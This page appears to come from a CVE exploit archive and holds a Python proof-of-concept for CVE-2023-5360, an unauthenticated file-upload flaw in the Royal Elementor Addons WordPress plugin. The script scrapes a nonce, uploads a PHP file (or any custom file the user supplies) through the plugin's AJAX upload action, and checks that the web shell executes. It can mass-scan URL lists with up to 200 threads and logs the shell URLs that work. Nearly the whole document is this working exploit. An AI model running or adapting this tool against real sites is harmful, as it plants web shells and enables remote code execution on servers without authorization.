4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import re
import json
import random
import string
import argparse
import requests


from rich.console import Console
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed

class WPVulnScanner:
    def __init__(self, verbose=False, custom_file=None, output_file=None, timeout=10, threads=200):
        self.session = requests.Session()
        self.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
            "PoC": "https://github.com/Chocapikk/CVE-2023-5360"
        }    
        self.verbose = verbose
        self.custom_file = custom_file
        self.output_file = output_file
        self.timeout = timeout
        self.threads = threads
        self.console = Console()
        
        request_package = requests.packages.urllib3
        request_package.disable_warnings(request_package.exceptions.InsecureRequestWarning)

    def custom_print(self, message, header, verbose_required=False):
        header_colors = {
            "+": "green",
            "-": "red",
            "!": "yellow",
            "*": "blue"
        }
        if not verbose_required or (verbose_required and self.verbose):
            self.console.print(f"[bold {header_colors[header]}][{header}][/bold {header_colors[header]}] {message}")

    def _write_output(self, url):
        if self.output_file:
            with open(self.output_file, 'a') as file:
                file.write(url + '\n')

    def _get_nonce(self, url):
        response, _ = self._make_request(url)
        match = re.search("var\s+WprConfig\s*=\s*({.*?});", response.text)
        if match:
            nonce_json = json.loads(match.group(1))
            return nonce_json.get("nonce")
        return None

    def _make_request(self, url, nonce=None):
        try:
            random_content = None
            new_nonce = None
            
            if nonce:
                new_nonce = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
                random_content = '<?php echo "' + new_nonce + '"; ?>'
                if self.custom_file:
                    with open(self.custom_file, 'rb') as f:
                        file_content = random_content.encode('utf-8') + f.read()
                else:
                    file_content = random_content.encode('utf-8')

                if self.custom_file:
                    self.custom_print(f"Sending request with payload from file: {self.custom_file}", "*", verbose_required=True)
                else:
                    self.custom_print(f"Sending request with payload: {random_content}", "*", verbose_required=True)    

                files = {
                    "uploaded_file": ("poc.ph$p", file_content)
                }
                data = {
                    "action": "wpr_addons_upload_file",
                    "max_file_size": 0,
                    "allowed_file_types": "ph$p",
                    "triggering_event": "click",
                    "wpr_addons_nonce": nonce
                }
                response = self.session.post(url, headers=self.headers, files=files, data=data, verify=False, timeout=self.timeout)
            else:
                response = self.session.get(url, headers=self.headers, verify=False, timeout=self.timeout)
            
            return response, new_nonce

        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request error for {url}: {e}", "-", verbose_required=True)
        
        finally:
            if response:
                response.close()
        
        return None, None        

    def plugin_exists(self, url):
        readme_url = f"{url}/wp-content/plugins/royal-elementor-addons/readme.txt"
        response, _ = self._make_request(readme_url)
        if response and response.status_code == 200:
            return "royal-elementor-addons" in response.text
        return False

    def check_vulnerability(self, url):
        try:
            if not self.plugin_exists(url):
                self.custom_print(f"Plugin 'royal-elementor-addons' not found at {url}. Skipping...", "-", verbose_required=True)
                return None

            self.custom_print(f"Scanning {url}", "*", verbose_required=True)    
                
            nonce = self._get_nonce(url)
            
            if nonce:
                self.custom_print(f"Nonce found: {nonce}", "!", verbose_required=True)
            
            if nonce:
                ajax_url = f"{url}/wp-admin/admin-ajax.php"
                response, new_nonce = self._make_request(ajax_url, nonce)
                
                if response is None:
                    self.custom_print(f"No response received for {url}", "-", verbose_required=True) 
                    return None
                
                self.custom_print(f"Sent request to {ajax_url} with nonce: {nonce}", "*", verbose_required=True)    
                    
                try:
                    json_response = json.loads(response.text)
                except json.JSONDecodeError:
                    self.custom_print(f"Unexpected server response for {url}. Not vulnerable.", "-", verbose_required=True)
                    return None
                    
                if json_response and json_response.get("success"):
                    shell_url = json_response["data"]["url"]
                    shell_response, _ = self._make_request(shell_url)

                    if shell_response.status_code == 200 and new_nonce.strip() in shell_response.text.strip():
                        self._write_output(shell_url)
                        return (f"CVE-2023-5360 detected for {shell_url}", "+")
                        
                    else:
                        self.custom_print(f"Failed to upload shell for {url}", "-", verbose_required=True)
                            
                else:
                    self.custom_print(f"No nonce found for {url}", "-", verbose_required=True)
                        
        except Exception as e:
            self.custom_print(f"Error during vulnerability check for {url}: {e}", "-", verbose_required=True) 
        return None        

def initialize_options():
    parser = argparse.ArgumentParser(description="WordPress Royal Elementor Addons and Templates Exploit (CVE-2023-5360)")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Scan a single URL")
    group.add_argument("-l", "--list", help="Scan a list of URLs from a file")
    parser.add_argument("-v", "--verbose", help="Verbose mode (only with -u/--url)", action="store_true")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")
    parser.add_argument("-f", "--file", help="Custom PHP file to upload", default=None)
    parser.add_argument("-t", "--threads", help="Number of threads to use", default=200, type=int)
    parser.add_argument("-T", "--timeout", help="Request timeout in seconds", default=10, type=int)
    return parser.parse_args()

def main():
    args = initialize_options()
    scanner = WPVulnScanner(verbose=args.verbose, custom_file=args.file, output_file=args.output)

    if args.url:
        result = scanner.check_vulnerability(args.url)
        if result:
            scanner.custom_print(result[0], result[1])

    elif args.list:
        with open(args.list, 'r') as file:
            raw_urls = [url.strip() for url in file.readlines()]
            unique_urls = {}
            for url in raw_urls:
                domain = url.split("//")[-1].split("/")[0].replace('www.', '')
                if domain not in unique_urls:
                    unique_urls[domain] = url

            urls = list(unique_urls.values())

        with ThreadPoolExecutor(max_workers=scanner.threads) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
            futures = {executor.submit(scanner.check_vulnerability, url): url for url in urls}
            for future in as_completed(futures):
                result = future.result()
                if result:
                    scanner.custom_print(result[0], result[1])
                bar()

if __name__ == "__main__":
    main()